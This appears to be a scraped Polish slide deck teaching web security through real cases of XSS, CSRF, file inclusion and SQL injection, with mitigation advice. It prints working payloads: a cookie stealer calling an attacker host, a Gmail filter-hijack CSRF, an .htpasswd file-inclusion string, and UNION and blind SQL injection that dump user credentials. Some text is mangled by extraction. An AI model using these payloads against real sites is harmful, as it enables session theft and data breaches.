11.
Odkryte podatności WWW
przewyższają ilościowo
wszystkie pozostałe
(Sans)
M
12.
Czemu?
Bardzo popularne medium ($)
Niedojrzałośd technologii
Błędy logiczne
Chałupnicze rozwiązania
M
13.
Amerykaoskie ofiary
phishingu
3,6 miliona osób, które
straciły łącznie 3,2 miliarda
dolarów
(Gartner, http://www.heise-online.pl/news/item/2356/)
M
14.
Standardowa architektura aplikacji WWW
Internet
Warstwa WWW
(filtry wejścia/wyjścia)
Warstwa Aplikacji
(logika biznesowa)
Serwer Baz Danych
M
15.
Źle!
Internet
Warstwa WWW
(filtry wejścia/wyjścia)
Nowa
funkcjonalnośd
Warstwa Aplikacji
(logika biznesowa)
Serwer Baz Danych
M
16.
Firewall vs. właściwe
projektowanie, kodowanie i SDLC
Internet
Firewall Aplikacyjny
Warstwa WWW
(filtry wejścia/wyjścia)
Nowa
funkcjonalnośd
Warstwa Aplikacji
(logika biznesowa)
Serwer Baz Danych
M
17.
Optymalnie
Internet
Firewall Aplikacyjny
Warstwa WWW
(filtry wejścia/wyjścia)
Warstwa Aplikacji
Nowa
funkcjonalnośd
(logika biznesowa)
Serwer Baz Danych
M
27.
Wniosek?
Bezpieczeostwo wymaga
specyficznego sposobu
myślenia
(Paranoi? ;-)
B
28.
Ograniczenie dostępu po stronie klienta
Możliwośd obejścia interfejsu
W kontraście z bankomatem
Nieskuteczne!
B
29.
Ograniczenie dostępu po stronie klienta
RSS z identyfikacją ID klienta
serwer.tld/rss/100_rss.xml
serwer.tld/rss/101_rss.xml
serwer.tld/rss/102_rss.xml
Czytanie cudzych wiadomości
serwer.tld/index.php?p=ok&action=msgs2&msgs_id=80
serwer.tld/index.php?p=ok&action=msgs2&msgs_id=81
serwer.tld/index.php?p=ok&action=msgs2&msgs_id=82
B
32.
Reflective XSS
Serwer
http://serwer/index.php?id=<script>…</script>
GET /index.php?
id=<script>…</script>
HTTP/1.1
Intruz
Aplikacja
Użytkownik
WWW
…<script>…</script>…
exec(…)
Dane dostępne
w kontekście
użytkownika
B
33.
Przykładowy kod XSS
document.write(‘
<img src=/slideshow/drobne-bdy-w-portalach-www-prawdziwe-studium-przypadku/224621/„
http://intruz.tld/cookiemonster.gif
?’+escape(document.cookie) +’ ”>
’);
B
36.
Rebranding za pomocą XSS
http://strona.tld/topics/%3Cscript%3Eeval(String.fromCharCode(100,111,99,117,
109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,
34,108,111,103,111,34,41,46,105,110,110,101,114,72,84,77,76,61,34,60,105,10
9,103,32,115,114,99,61,39,104,116,116,112,58,47,47,119,119,119,46,101,122,1
11,116,101,114,105,107,97,46,112,108,47,105,109,97,103,101,115,47,115,109,1
05,108,101,121,46,103,105,102,39,62,34));%3C%252fscript%3E
document.getElementById(quot;logoquot;).innerHTML=
quot;<img src=/slideshow/drobne-bdy-w-portalach-www-prawdziwe-studium-przypadku/224621/&
M
37.
Tak to wygląda w kodzie strony
...
<div id=quot;maincontentquot;>
<h2>Results for: <span style=quot;color:
#f00;quot;><script>eval(String.fromCharCode(100,111,99,117,109,101
,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,1
00,40,34,108,111,103,111,34,41,46,105,110,110,101,114,72,84,77
,76,61,34,60,105,109,103,32,115,114,99,61,39,104,116,116,112,5
8,47,47,119,119,119,46,101,122,111,116,101,114,105,107,97,46,1
12,108,47,105,109,97,103,101,115,47,115,109,105,108,101,121,4
6,103,105,102,39,62,34));</script></span></h2>
</div>
...
M
38.
Tak wygląda zmieniany kod
<div id=quot;logoquot;>
<div class=quot;logolinkquot;>
<a href=quot;http://strona.tld/quot;>strona.tld</a>
</div>
...
</div>
M
42.
Zmiana treści za pomocą XSS
Nie jest permanentna
Lepszy kod łatwiej (sic!)
Pomysł:
Tak samo wyglądający
formularz kierujący dane w
inne miejsce phishing
B
43.
Uwierzytelnianie przy pomocy cookies
POST /login.php HTTP/1.1
login=user&password=asd12ed]r3
HTTP/1.1 OK 200
Set-cookie: user_id=734223s8uod42
Witaj user
Użytkownik
GET /index.php HTTP/1.1
Cookie: user_id=734223s8uod42
Serwer
Witaj user
B
44.
Wykorzystanie przejętego cookie
POST /login.php HTTP/1.1
login=user&password=asd12ed]r3
HTTP/1.1 OK 200
Set-cookie: user_id=734223s8uod42
Witaj user
Użytkownik
GET /index.php HTTP/1.1
Cookie: user_id=734223s8uod42
Serwer
Witaj user
GET /index.php HTTP/1.1
Cookie: user_id=734223s8uod42
Intruz
Witaj user
B
45.
Kradzież ciastka zawierającego ID sesji
http://www.serwer.tld/index.php?p=com
ments&comments_login=smietanka%3Csc
ript%3Edocument.write(document.cookie)
%3C/script%3E
PHPSESSID=gji9h519llgbgbnaqg7si0q1l0;
__utma=258102041.949163972.1198624259.1198624259.1198624259.1;
__utmb=258102041; __utmc=258102041;
__utmz=258102041.1198624259.1.1.utmccn=(direct)|utmcsr=(direct)|utmc
md=(none)
M
49.
Jak wysład sobie ciastko?
XMLHttpRequest
Problem pomiędzy domenami
Link
img, iframe, location.href, etc
Przykład: <img
src=/slideshow/drobne-bdy-w-portalach-www-prawdziwe-studium-przypadku/224621/quot;http:/serwer.tld/cookiemonster.gif?PHPSESSID%3Dgji9h519llgbgbnaqg7
si0q1l0%3B%20__utma%3D258102041.949163972.1198624259.1198624259.
1198624259.1%3B%20__utmb%3D258102041%3B%20__utmc%3D25810204
1%3B%20__utmz%3D258102041.1198624259.1.1.utmccn%3D%28direct%29
%7Cutmcsr%3D%28direct%29%7Cutmcmd%3D%28none%29quot;>
B
50.
Co na to poradzid?
Powiązad ID sesji z IP
Żądad powtórnego uwierzytelnienia
Kontrolowad wprowadzane dane !!!
- Białe listy (ScRipT)
- Spójnośd (IDS, Firewall, aplikacja)
- Dogłębnośd (....// ../), UTF-7
B
51.
http://serwer.tld/topics/<img
src=http://www.serw.tld/images/smiley.gif>
/
M
52.
http://serwer.tld/topics/<img
src=http:%2f%2fwww.ezoterika.pl%2fimages%2fsmiley.gif>
%2f /
M
55.
Stored XSS
Serwer
POST /register.php HTTP/1.1
login=<script>…</script>&password=asd
Aplikacja WWW
GET /index.php HTTP/1.1
<script>…</script>
Użytkownik
Intruz
…<script>…</script>…
exec(…)
Dane dostępne
Baza danych
w kontekście
użytkownika
B
56.
Co można zrobid?
Permanentna zmiana treści
Łatwa kradzież ID sesji
CSRF
XSS Proxy
Automatyczne robaki
- mySpace, Orkut, Nduja, Borys
Łatwe ;] w serwisach pozwalających publikowad własną
treśd:
- aukcyjne, blogi, fora, etc
B
58.
XSS Worm
Serwer WWW
Zapisuje XSS w swoim profilu
XSS
Intruz
…
Intruz
User_1
User_2
B
59.
XSS Worm
Serwer WWW
Zapisuje XSS w swoim profilu
GET /intruz/ HTTP/1.1 User_1
XSS
Intruz
…<script>…</script>…
exec(…)
…
Zapisuje XSS w
Intruz
swoim profilu
XSS
User_1
User_2
B
60.
XSS Worm
Serwer WWW
Zapisuje XSS w swoim profilu
GET /intruz/ HTTP/1.1 User_1
XSS
Intruz
…<script>…</script>…
User_2
…
exec(…)
Zapisuje XSS w
Intruz
swoim profilu
GET /user1/ HTTP/1.1
XSS
User_1
…<script>…</script>…
exec(…)
Zapisuje XSS w
XSS swoim profilu
User_2
B
62.
Co na to poradzid?
Powiązad ID sesji z IP
Żądad powtórnego uwierzytelnienia
Kontrolowad wprowadzane dane
- Białe listy (ScRipT)
- Spójnośd (IDS, Firewall, aplikacja)
- Dogłębnośd (....// ../), UTF-7
Filtrowad dane zapisywane do bazy
i odczytywane z bazy
B
64.
CSRF
Serwer
http://serwer/delete.php?id=34
Aplikacja
WWW
GET /delete.php?id=34 HTTP/1.1
Cookie: user_id=734223s8uod42
…
id = 34; Intruz
Użytkownik
delete(id);
…
Wpis usunięty
M
65.
<img src=/slideshow/drobne-bdy-w-portalach-www-prawdziwe-studium-przypadku/224621//slideshow/drobne-bdy-w-portalach-www-prawdziwe-studium-przypadku/224621/„http:/nasza-
klasa.pl/invite/1?i=1”>
(/var/log/apache/cba_ipn_zus_access.log)
B
66.
Przejęcie wiadomości z Gmail (CSRF)
http://www.gnucitizen.org/util/csrf?_method=POST&_enctype=multip
art/form-data&_action=https%3A//mail.google.com/mail/h/
wt1jmuj4ddv/%3Fv%3Dprf&cf2_emc=true&cf2_email=evilinbox@maili
nator.com&cf1_from&cf1_to&cf1_subj&cf1_has&cf1_hasnot&cf1_atta
ch=true&tfi&s=z&irf=on&nvp_bu_cftb=Create%20Filter
/slideshow/drobne-bdy-w-portalach-www-prawdziwe-studium-przypadku/224621/„Konto na Gmailu każdy z nas ma. Mam i ja!”
(Kradzież domeny: www.davidairey.co.uk)
B
67.
Co na to poradzid?
POST zamiast GET
obejście: iframe, javascript
Referer
problemy: proxy, przeglądarki, zmiana nagłówka
Generowane tymczasowego dodatkowego ID
Powiązanie ID użytkownika z długim losowym
ciągiem
Trzymane po stronie serwera
Wymaganie ponownej autoryzacji przy
kluczowych operacjach
Brak błędów XSS (XmlHttpRequest)!!!
B
69.
Local File Include
• podgląd plików (konfiguracyjnych!)
• wykonanie kodu, jeśli jest możliwośd wgrania pliku na
serwer
• dostęp do kodu źródłowego
<?php
if(file_exists(quot;includes/$page.incquot;)) {
include quot;includes/$page.incquot;;
} else {
echo quot;W budowie!<BR>quot;;
}
http://XXXXX.art.pl/p.php?page=../../../../../../../../../home/user1/publi
c_html/.htpasswd%00
B
71.
Co z tym zrobid?
konfiguracja po stronie php.ini
allow_url_fopen = Off
allow_url_include = Off
register_global = Off
safe_mode = On
register_globals = Off
safe_mode_gid = Off
display_errors = Off
log_errors = On
error_log = /var/log/httpd/php_error.log
disable_functions = system, shell_exec, exec, passthru
uważad na specjalne znaki (null byte, etc)
filtrowad, filtrowad i jeszcze raz filtrowad
(../, UTF, itd.)
inne: mod_security, Suhosin PHP
B
73.
SQL Injection
Serwer
GET /login.php HTTP/1.1
login=admin&password=1’ or 1=‘1
Aplikacja WWW
Intruz
select * from users where login=‘admin’ and pass=‘1’ or 1=‘1’
Welcome admin
$dane = db_exec(/slideshow/drobne-bdy-w-portalach-www-prawdziwe-studium-przypadku/224621/„select from users where
login=‘$login’ and pass=‘$pass’”)
Baza danych
if ($dane.count) {
print (/slideshow/drobne-bdy-w-portalach-www-prawdziwe-studium-przypadku/224621/„Welcome $login”)
…
} else {
print (/slideshow/drobne-bdy-w-portalach-www-prawdziwe-studium-przypadku/224621/„Bye”);
exit (0);
}
M
74.
POST http://www.serwer.tld/index.php?p=priv HTTP/1.1
priv_search=2e332424&cat='quot;1&w_city=quot;'asd&submit=Szukaj
M
75.
priv_search=&cat=1&w_city=Ca%B3a+Polska' and
1=1#&submit=Szukaj
M
76.
priv_search=&cat=1&w_city=Ca%B3a+Polska' and
1=0#&submit=Szukaj
M
77.
priv_search=&cat=1&w_city=Ca%B3a+Polska'
union all select @@version#&submit=Szukaj
The used SELECT statements
have a different number
of columns
M
78.
priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,@@version#&submi
t=Szukaj
M
79.
priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select
1,2,3,4,5,6,7,8,9,10,@@version,12,13,14,15,16,17,18#&submi
t=Szukaj
M
80.
priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select
1,2,3,TABLE_SCHEMA,5,6,7,8,9,10,TABLE_NAME,12,COLUMN_
NAME,14,15,16,17,18 from information_schema.columns
where TABLE_SCHEMA != 'mysql' and TABLE_SCHEMA !=
'information_schema'#&submit=Szukaj
M
81.
priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select
1,2,3,login,5,6,7,8,9,10,pass,12,sex,14,15,16,17,18 from
users#&submit=Szukaj
M
84.
Blind SQL Injection
Formularz rejestracyjny:
‘
B
85.
Blind SQL Injection
1' and 1='0
OK.
1' or 1='1
Taki email już jest zarejestrowany
w serwisie. Musisz podad inny
1' union all SELECT IF( user() like '%sig%',
BENCHMARK(3000000,MD5( 'x' )),NULL)#
opóźnienie user() == sig@...
1' union all SELECT IF( user() like '%asd%',
BENCHMARK(3000000,MD5( 'x' )),NULL)#
brak opóźnienia
B
88.
Blind SQL Injection
• /zgoda.php?id=155765%20AND%20(select%2
0ascii(substring((select%20login%20from%20a
dmini%20limit%201,1),1,1)))%3D97
• id=155765 AND (select ascii(substring((select
login from admini limit LINIA,1), MIEJSCE, 1)))
=ZNAK_ASCII
B
89.
Wyniki blind SQL Injection
Opóźnienie
Treśd
Komunikat błędu
B
90.
Co na to poradzid?
Filtrowad wprowadzane dane
- Białe listy znaków
- Spójnośd (IDS, Firewall, aplikacja,
baza danych)
Nie ufad filtrom po stronie
użytkownika (listy wyboru, JavaScript)
M
92.
Z bezpieczeostwem WWW jest źle
Błędy są wszędzie* wokół nas
*no prawie wszędzie ;-)
M
93.
Co zrobid?
Koniecznie filtrowad wprowadzane i
wyprowadzane dane
Firewalle aplikacyjne
IDSy
Białe listy!
M
94.
Byd świadomym potencjalnych
zagrożeo i problemów
Słuchad i pytad
Korzystad z pomocy specjalistów
Bilansowad koszty z zyskami
każdy feedback jest dobry
M
95.
Używad sprawdzonych
rozwiązao
• Odpowiedzią na tradycyjne błędy jest kod
zarządzany, automatyczne typowanie, GC, itp.
• Odpowiedzią na błędy w kodowaniu WWW są
frameworki
– Pozwalają na zachowanie pewnej jakości kodu
– Nie jesteśmy w 100% bezpieczni
» Jeszcze nie są wystarczająco dojrzałe
» Nie wszyscy wiedzą jak z nich korzystad
» Bywają rozszerzane quot;na głupaquot;
» Efekt skali powoduje, że błędy propagują się szeroko
M
96.
Hardening
Poprawna konfiguracja jest
niezwykle istotna
Jedna dyrektywa w php.ini może zablokowad
wykorzystanie błędu w aplikacji
PHP:
http://www.sans.org/top20/#s1
M
97.
Myślenie
Nikt ani nic nie ustrzeże nas
przed skutkami błędów
logicznych
M